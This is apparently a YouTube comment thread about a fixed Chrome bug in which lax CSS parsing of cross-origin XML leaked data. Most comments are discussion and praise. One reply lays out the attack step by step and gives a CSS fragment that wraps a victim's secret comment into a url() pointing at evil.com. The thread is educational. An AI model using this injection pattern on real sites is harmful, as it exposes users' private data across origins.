I like the idea, but they need to be even more dramatic! With multiple voice actors over-acting poorly. I can help! I'm good at over-acting and I have a quality mic.
I am totally in favor of a stricter syntax. Let developers to receive 1 gazillion warnings and errors! I don't know why HTML and CSS has such relaxed syntax in the first place. Even noobs can write proper syntax if you make them.
2:15 *But let's keep this bug Chrome-private whilst we debate what can be done (and protect our customers first:)* Chrome developers are very responsible
@@p00lking This was not public before it was fixed. They don't and never have advertised security issues. They do however disclose all information about it once it is confirmed as being fixed in a security patch.
"the internet is broken because cross-domain" I'd say that this video proves that is broken because all the browser parsers are super lax to allow even the worst webdev do put out their garbage, which in turn allows more terrible devs to join the field successfully, thus perpetuating the cycle
i can agree that we get more and more seniors replaced by juniors because for business all that matters is whether it works and not if it is secure or a well thought solution
Stricter parsers would be great, it would force developers to write better and more secure web applications, but at this point it's hard to go from lax to strict parsing as it would probably break a lot of web applications - even big ones as the engineers mentioned. For now, all we can do is patch it up and pray it won't break before we get to the finish line (if it exists).
Yeah I had a little chuckle when he said that lax parsers make developer's lives easier. I would not be surprised if 50% or more of the security issues on the web are caused by the "convenience" of the code still running even though it has syntax errors. And I am sure it is incredibly fun writing code for different versions of different browsers, and not knowing when something fails, because it will, run what it can and skip what it can't. Uuuuggh. I am biased though, I prefer statically typed languages. Often times I wonder what the web would look like today if things had been different. I'm sure there would still be problems, after all, your regular C/C++ programs still have critical bugs from time to time. But I do think the amount would be substantially less if the web used languages with a stricter attitude when it comes to interpreting/compiling.
@@Mjarlund It shouldn't really be that difficult. The key here is that sites should be able to opt in for a stricter world. We had this part ways with XHTML Strict mode and with JS 'use strict'. CSS is the odd one out without a strict mode. I think it could be even better if servers could issue for strict interpretations whole sale using HTTP header. This way sites that know they can afford to be strict can take advantage of strictness, while sites that still had to catch up, can still do that.
Thanks for the explanation. The bounty is great for beer money but not to live from. You would need to find 2 of these bugs a month and get the guaranteed payout to survive.
"okay it's fixed by checking the content-type. case closed". and then they needed 3 years to ask the question: "what if there is no content-type header!? you know when our web browser happens to be a local file browser because «do one job, do it well» ... oh wait..."
I learned about your channel about 2 years ago from Gynvael's video, now we have a circle. Sadly, Gynvael's 2 books about reverse engineering aren't translated into English AFAIK, but I recommend reading his posts in "Coding" section on his page gynvael . coldwind . pl (OOP in BAT, syscalling without glibc, "Automagical function list in C++", "Why NULL points to 0?" (it can be valid pointer))
"a parser mode that depends on the origin would be confusing" in a discussion about the browser that disables half of javascript when loading it from plain http because "let'sencrypt is a thing, use it!" :'D just try developing a webrtc application without a valid certificate in your test environment, i dare ya :P fun fact: in fixing this bug (since they actually had to make it impossible for even scripts served from file:// to access file://) they broke a bunch of e.g. downloadable html based apps (usually things like games which need to load more data dynamically via xhr, such as unreal and godot engine web builds, but also the android ones mentioned in 19:17), but firefox does the same anyway, so for one game i built i just told people to download nwjs and drop it in the folder to give it a server :P because with things like same-origin one would reasonably expect that same logic to apply to file:// (e.g. using the path and treating everything in the same folder as the same origin) but you can't even be sure of that without a server that controls said origin. the exact error logged would then be something like: Access to XMLHttpRequest at 'file:///path/to/requested/data/file' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, https. essentially, "file" doesn't provide an origin, thus CORS always fails. safe to say it took me a while to figure that one out when making that game :P
I just recently started Chrome with "--allow-file-access-from-file --disable-web-security" because the 1password anywhere HTML thingy didn't work and I needed it once in a lifetime because I was on the go without my hardware. Sometimes I wish that local file serving would get some more love. As you said, work out a folder based origin or something. We used to be able to create quite some useful tools with just a folder and some HTML/JS in it. Sure it can be malice but surely something could be done. If I could (with permission ofc, like with extensions) access the actual file system and invoke a command line utility (quasi a basic nodejs) I could reduce my big Electron app to a
Honestly, what do you think is the difference between 'engineers' and 'developers' these terms seem thrown around in the computer science world. For a reference I have a computer science degree, and I don't think of myself as an engineer. Just curious what are your thoughts on this distinction?
Software Engineer describes a certain type of work not a certification. There's lots of early Software Engineers who never got a CS or engineering degree and there's those who have either degree.
I don't understand the first bug. You load a css script that makes a call to evil.com with some hard coded url params? So what? How is it leaking any secret data?
I didn't understand it either at first, but I think I do now. The important thing is that the XML is not generated by an attacker or hosted on an attacker's server. The attacker only writes the CSS fragments that appear in the XML. 1. An attacker finds a web service to target, which generates XML files through an API. 2. The attacker submits user-generated content to the web service, containing the CSS fragments. 3. The web service makes the XML file containing the user generated CSS available through its API, as expected. 4. The attacker tricks a user of the target web service into visiting the attacker's own web page, which loads the XML from the target web service API as a stylesheet. 5. Because the "CSS" file is loaded from the target site, it uses the unsuspecting user's active authentication session for the target site (either through cookies or some other means), and so the secret comment that only the authenticated user should see is loaded as part of the "CSS" file. Crucially, if it had been loaded as an XML file, then, under same-origin policy, the attacker's site would not have been able to read its contents. 6. The CSS parser tries to interpret the XML file as CSS. As parsed, the background image URL for the body element contains the 'secret' content from the XML file. The browser doesn't actually have to request the background image from the server in order to leak the secret. The URL need not even point to a domain controlled by the attacker, which would risk revealing their identity. Javascript on the attacker's page can simply read the URL from the supposed "CSS" using window.getComputedStyle and then do whatever it likes with the information. The same-origin policy is thereby violated.
It helped for me to reformat the code example: blah { blah:0 } body { background-image: url('www.evil.com/ some secret comment ');} The XML is generated by an external uncontrolled API, but user data can be submitted. In this case the attacker carefully created two comments surrounding the comment of a legitimate user which they are unable to view. The two comments form the start and end of a valid CSS string, with the legitimate user's comment in the middle becoming part of a background-image URL. The attacker then embeds a link to this XML API within their own website but tells the browser to load it as CSS. When the API is accessed by an authenticated (with cookies) user it will return the XML shown above, with the secret data included. The attacker's CSS is then parsed and a GET request to evil.com is made with the secret data inside.
This is so good. I'm not a security professional or HTML whiz, but I know how to make simple webpages with CSS. And that's how I got here. CSS is a bit hard, I know how convoluted the Net is, but this is different. Summing it all up, if the CSS/XML has an error, it opens a hole for the attack. Simple. Wah!
It seems like the general problem here is lax parsing, which not only leads to vulnerabilities with css but is also the origin of many other types of attacks such as some xss attacks. Wouldn't it be time now to introduce a strict parsing mode and after some warning period enforce it. Developers have time to rewrite their code in the warning period (which they should do anyways since depending on law interpreters is generally a bad idea) and after that the internet is a lot safer.
Great video as always! And yes yes yes to more discussions.... Who are the two idiots that thumbed down the video?? Probably two SK's that thought he was going to give them a step-by-step directions on exploiting the bug. Lol.
This was really interesting / informative to watch. I would perhaps come across some of this on the web on in trackers and it would all go right over my head, having you explain it I now actually understand what was going on. Thank you!
MiREK Well, I mean the animation at 5:09 in the video does kind of make it seem like a tease, so it wouldn't be too big of a leap to think he would draw NSFW stuff...
Why is this presented as a browser issue? Should the server not be responsible for preventing data leaks? For example 6:15 point 4. Do not send cookies. This is the browser deciding for the server whether to authenticate. This is not part the browser job, which is why this "probably breaks the internet". I know very little of internet protocols, but should the server not do something like this? if requested_resource.requires_authentication() then: if headers.origin == this_site && cookie.has_valid_credentials() then: serve(requested_resource) else: fail()
Doing cross-domain authenticated requests is a major part of the internet. Servers are unable to do "if headers.origin == this_site", because that would break most things the server is used for.
I feel like i have to immidietly stop working in this sphere every time i see a video like this. What if i mess up, sell an insecure product to a big company and they get hacked and sue me? :c
You may be too small of a cog in said big company's product use case to bear responsibility for whatever security hole you create. With errors come more jobs created for fixing said error, you could put it in a positive light this way :)
Hello World Is good enough for Chrome and Safari to display the page… (haven't test other browsers tbh but I'm convinced this applies) Note that there is a new line at the end… This is to avoid tags not to be closed by the some html parsers (Notably some webkit browser) This is why html and css aren't programing languages. They aren't even scripting languages like js and python… I say that but `main(){if(write(1, "hello world", 15)) {} } ` will compile on posix platforms using gcc and actually is valid c89 And here is the proper way to do it before someone who did C in school "corrects" me: ` #include int main(void) { puts("Hello, world"); } /* Any C file must end with a newline. */ ` Before you tell me "err derp your main doesn't return 0;" go read this: www.open-std.org/jtc1/sc22/wg14/www/docs/n1570.pdf Yes, it does, in fact it doesn't return 0 but EXIT_SUCCESS which is macro that should extend to the value 0.
Reenactment of historic bug discussions, please!
Yes, I need this in my life.
Was about to comment the same thing :)
Yes please
I like the idea, but they need to be even more dramatic! With multiple voice actors over-acting poorly. I can help! I'm good at over-acting and I have a quality mic.
Reenactment for the win!
You should know that those 20 minutes feel like 5 minutes. Great job and keep em coming!
I’m glad! I was worrying it was too long
@@LiveOverflow holy crap they are very good, can't wait to see more videos like this.. 😯
20 minutes? 5 minutes? Which video did you watch? I'm sure this was a 2 minutes video
I am totally in favor of a stricter syntax. Let developers to receive 1 gazillion warnings and errors! I don't know why HTML and CSS has such relaxed syntax in the first place. Even noobs can write proper syntax if you make them.
2:15 *But let's keep this bug Chrome-private whilst we debate what can be done (and protect our customers first:)*
Chrome developers are very responsible
@@darkopz no need to advertise security issues though
@@p00lking This was not public before it was fixed. They don't and never have advertised security issues. They do however disclose all information about it once it is confirmed as being fixed in a security patch.
"the internet is broken because cross-domain"
I'd say that this video proves that is broken because all the browser parsers are super lax to allow even the worst webdev do put out their garbage, which in turn allows more terrible devs to join the field successfully, thus perpetuating the cycle
i can agree that we get more and more seniors replaced by juniors because for business all that matters is whether it works and not if it is secure or a well thought solution
Stricter parsers would be great, it would force developers to write better and more secure web applications, but at this point it's hard to go from lax to strict parsing as it would probably break a lot of web applications - even big ones as the engineers mentioned. For now, all we can do is patch it up and pray it won't break before we get to the finish line (if it exists).
Yeah I had a little chuckle when he said that lax parsers make developer's lives easier. I would not be surprised if 50% or more of the security issues on the web are caused by the "convenience" of the code still running even though it has syntax errors. And I am sure it is incredibly fun writing code for different versions of different browsers, and not knowing when something fails, because it will, run what it can and skip what it can't. Uuuuggh. I am biased though, I prefer statically typed languages.
Often times I wonder what the web would look like today if things had been different. I'm sure there would still be problems, after all, your regular C/C++ programs still have critical bugs from time to time. But I do think the amount would be substantially less if the web used languages with a stricter attitude when it comes to interpreting/compiling.
@@danielhd6719 or people age...
@@Mjarlund It shouldn't really be that difficult. The key here is that sites should be able to opt in for a stricter world. We had this part ways with XHTML Strict mode and with JS 'use strict'. CSS is the odd one out without a strict mode.
I think it could be even better if servers could issue for strict interpretations whole sale using HTTP header.
This way sites that know they can afford to be strict can take advantage of strictness, while sites that still had to catch up, can still do that.
Took me way too long to realize that the intro animation is a buffer being overflowed.
when a software engineer talks about past:
...evolved historically ...
*2009*
Thanks for the explanation. The bounty is great for beer money but not to live from. You would need to find 2 of these bugs a month and get the guaranteed payout to survive.
"okay it's fixed by checking the content-type. case closed". and then they needed 3 years to ask the question: "what if there is no content-type header!? you know when our web browser happens to be a local file browser because «do one job, do it well» ... oh wait..."
I cannot believe you've been making videos like this for years and I just found you. Insane.
I like how the fix in the end was a simple restriction to .css file type. Lol.
Is that really the solution? No secret data will ever be stored in a .css file?
@@shelvacu Why would you store secret data in a .css in the first place? That would just be developer's fault
I'm abou to steal your video idea about dramatic reenactment of bug history conversations
Mr. President, they've stolen all our nuclear codes... using Local HTML XSS CSS Vulnerabilities.
haha:D
This stuff is freaking fascinating. Thank you.
Can we have bug discussions in Ace Attorney style 😂
Good video, I really like watching these videos with popcorn.
Thanks for the subtitles, headache, and interesting mess :)
I was having insomnia and I slept listening to your bug stories, thanks, you're perfect in many ways, this now is one of them
Aah wonderful, my favourite hashtag.
#InternetOfShit
I learned about your channel about 2 years ago from Gynvael's video, now we have a circle. Sadly, Gynvael's 2 books about reverse engineering aren't translated into English AFAIK, but I recommend reading his posts in "Coding" section on his page gynvael . coldwind . pl (OOP in BAT, syscalling without glibc, "Automagical function list in C++", "Why NULL points to 0?" (it can be valid pointer))
Am I the only one thinking of win XP at 5:05?
Nope
Fantastic video, as always. I really like the way that you showed the connections between the bug reports.
that was fucking amazing. do more like this please!
"a parser mode that depends on the origin would be confusing" in a discussion about the browser that disables half of javascript when loading it from plain http because "let'sencrypt is a thing, use it!" :'D
just try developing a webrtc application without a valid certificate in your test environment, i dare ya :P
fun fact: in fixing this bug (since they actually had to make it impossible for even scripts served from file:// to access file://) they broke a bunch of e.g. downloadable html based apps (usually things like games which need to load more data dynamically via xhr, such as unreal and godot engine web builds, but also the android ones mentioned in 19:17), but firefox does the same anyway, so for one game i built i just told people to download nwjs and drop it in the folder to give it a server :P
because with things like same-origin one would reasonably expect that same logic to apply to file:// (e.g. using the path and treating everything in the same folder as the same origin) but you can't even be sure of that without a server that controls said origin.
the exact error logged would then be something like:
Access to XMLHttpRequest at 'file:///path/to/requested/data/file' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, chrome, chrome-extension, https.
essentially, "file" doesn't provide an origin, thus CORS always fails.
safe to say it took me a while to figure that one out when making that game :P
I just recently started Chrome with "--allow-file-access-from-file --disable-web-security" because the 1password anywhere HTML thingy didn't work and I needed it once in a lifetime because I was on the go without my hardware. Sometimes I wish that local file serving would get some more love. As you said, work out a folder based origin or something.
We used to be able to create quite some useful tools with just a folder and some HTML/JS in it. Sure it can be malice but surely something could be done. If I could (with permission ofc, like with extensions) access the actual file system and invoke a command line utility (quasi a basic nodejs) I could reduce my big Electron app to a
While at this point it's too late to change, browsers being so lax about everything was probably a terrible idea.
Please do reenactments of historic bug discussions :D
Honestly, what do you think is the difference between 'engineers' and 'developers' these terms seem thrown around in the computer science world. For a reference I have a computer science degree, and I don't think of myself as an engineer. Just curious what are your thoughts on this distinction?
Software Engineer describes a certain type of work not a certification. There's lots of early Software Engineers who never got a CS or engineering degree and there's those who have either degree.
But I will add that some Engineers might take offense to people who call themselves Software Engineers especially Engineers from not software fields.
I have no idea what he is talking about still I am watching if I understand this :)
I don't understand the first bug. You load a css script that makes a call to evil.com with some hard coded url params? So what? How is it leaking any secret data?
I didn't understand it either at first, but I think I do now.
The important thing is that the XML is not generated by an attacker or hosted on an attacker's server. The attacker only writes the CSS fragments that appear in the XML.
1. An attacker finds a web service to target, which generates XML files through an API.
2. The attacker submits user-generated content to the web service, containing the CSS fragments.
3. The web service makes the XML file containing the user generated CSS available through its API, as expected.
4. The attacker tricks a user of the target web service into visiting the attacker's own web page, which loads the XML from the target web service API as a stylesheet.
5. Because the "CSS" file is loaded from the target site, it uses the unsuspecting user's active authentication session for the target site (either through cookies or some other means), and so the secret comment that only the authenticated user should see is loaded as part of the "CSS" file. Crucially, if it had been loaded as an XML file, then, under same-origin policy, the attacker's site would not have been able to read its contents.
6. The CSS parser tries to interpret the XML file as CSS. As parsed, the background image URL for the body element contains the 'secret' content from the XML file. The browser doesn't actually have to request the background image from the server in order to leak the secret. The URL need not even point to a domain controlled by the attacker, which would risk revealing their identity. Javascript on the attacker's page can simply read the URL from the supposed "CSS" using window.getComputedStyle and then do whatever it likes with the information. The same-origin policy is thereby violated.
It helped for me to reformat the code example:
blah { blah:0 } body { background-image: url('www.evil.com/
some secret comment
');}
The XML is generated by an external uncontrolled API, but user data can be submitted. In this case the attacker carefully created two comments surrounding the comment of a legitimate user which they are unable to view. The two comments form the start and end of a valid CSS string, with the legitimate user's comment in the middle becoming part of a background-image URL.
The attacker then embeds a link to this XML API within their own website but tells the browser to load it as CSS. When the API is accessed by an authenticated (with cookies) user it will return the XML shown above, with the secret data included. The attacker's CSS is then parsed and a GET request to evil.com is made with the secret data inside.
this is like 4chan green text stories but for engineers
> yes
Lmfao a mess, my newbie friend you have Nooooo idea
Thank u for the subtitles!!!
This is so good. I'm not a security professional or HTML whiz, but I know how to make simple webpages with CSS. And that's how I got here.
CSS is a bit hard, I know how convoluted the Net is, but this is different.
Summing it all up, if the CSS/XML has an error, it opens a hole for the attack. Simple. Wah!
Bug discussion , me likey. Possible for you to do them ?
It seems like the general problem here is lax parsing, which not only leads to vulnerabilities with css but is also the origin of many other types of attacks such as some xss attacks. Wouldn't it be time now to introduce a strict parsing mode and after some warning period enforce it. Developers have time to rewrite their code in the warning period (which they should do anyways since depending on law interpreters is generally a bad idea) and after that the internet is a lot safer.
I dont understand this 😂😂😂
I never understood "Path-relative style sheet import". Could i use them for attacks combined with this?
Great video as always! And yes yes yes to more discussions.... Who are the two idiots that thumbed down the video?? Probably two SK's that thought he was going to give them a step-by-step directions on exploiting the bug. Lol.
at the end they used the basics to secure the mess (.css extension) nice one
This was really interesting / informative to watch. I would perhaps come across some of this on the web on in trackers and it would all go right over my head, having you explain it I now actually understand what was going on. Thank you!
This is overwhelming me. It just takes time to learn this stuff maybe?
dat furry thumbnail tho
his drawing skills have definitely improved
I’m cheating. Tracing other pictures.
LiveOverflow Now that's disappointing, I was just about to ask for a $200 yiff commission :^)
@@TheOnlyGeggles Oh my, oh my. That one comment just made the purest like 25% of the furry community cry and be disappointed at you.
MiREK Well, I mean the animation at 5:09 in the video does kind of make it seem like a tease, so it wouldn't be too big of a leap to think he would draw NSFW stuff...
That's why every page source should be prettyfied
Thanks you 4 yours videos, it's very interesting to learn something new in such close-to-life subjects.
I understand shit
Why is this presented as a browser issue? Should the server not be responsible for preventing data leaks?
For example 6:15 point 4. Do not send cookies. This is the browser deciding for the server whether to authenticate. This is not part the browser job, which is why this "probably breaks the internet".
I know very little of internet protocols, but should the server not do something like this?
if requested_resource.requires_authentication() then:
if headers.origin == this_site && cookie.has_valid_credentials() then:
serve(requested_resource)
else:
fail()
Doing cross-domain authenticated requests is a major part of the internet. Servers are unable to do "if headers.origin == this_site", because that would break most things the server is used for.
I like this channel very very much...
Captain America is now a renowned security researcher? Honestly, what feat has this man not accomplished?
Can someone explain the thing on 4:00? I'm kind of a (but not total) noob and not an english speaker :)
Whenever I learn more about how the web works... I feel the need to shower.
@LiveOverflow Pleasee do moreee of this!
Very interesting and well explained, greetings from Spain!
Great stuff, I'd love to see more of this kind of stuff.
Finally the videos that matter
your video is like a music to my ears
Awesome thumbnail
Smashed the like
curse inside a curse？🤔
How are you related with 2minute papers?
Not at all?
once again, a awesome video.
Another awesome video
I feel like i have to immidietly stop working in this sphere every time i see a video like this. What if i mess up, sell an insecure product to a big company and they get hacked and sue me? :c
lol
You may be too small of a cog in said big company's product use case to bear responsibility for whatever security hole you create. With errors come more jobs created for fixing said error, you could put it in a positive light this way :)
@@Tudorgeable Totally makes sense :)
Awesome!
another bug discustion please :3
Liked before watching
Nice
Restrictions rule the world. Sad.
This is so sad, Alexxx play despacito.
Was that grassy field a reference to Windows XP wallpaper ? Hmmmm
Nice pride flag easteregg :D
It's just a rainbow
@@matrix8934 it's not
Matrix 89 a six-colored-rainbow in the exact colors of the pride flag
Jochem Kuijpers that landed there by accident because this is the first thing you think of when drawing a sketch of imgur
Didn't have it in the Subbox, thanks TH-cam
Hello World
Is good enough for Chrome and Safari to display the page…
(haven't test other browsers tbh but I'm convinced this applies)
Note that there is a new line at the end… This is to avoid tags not to be closed by the some html parsers (Notably some webkit browser)
This is why html and css aren't programing languages. They aren't even scripting languages like js and python…
I say that but `main(){if(write(1, "hello world", 15)) {} } ` will compile on posix platforms using gcc and actually is valid c89
And here is the proper way to do it before someone who did C in school "corrects" me:
`
#include
int main(void) {
puts("Hello, world");
} /* Any C file must end with a newline. */
`
Before you tell me "err derp your main doesn't return 0;" go read this: www.open-std.org/jtc1/sc22/wg14/www/docs/n1570.pdf
Yes, it does, in fact it doesn't return 0 but EXIT_SUCCESS which is macro that should extend to the value 0.
This was really insightful!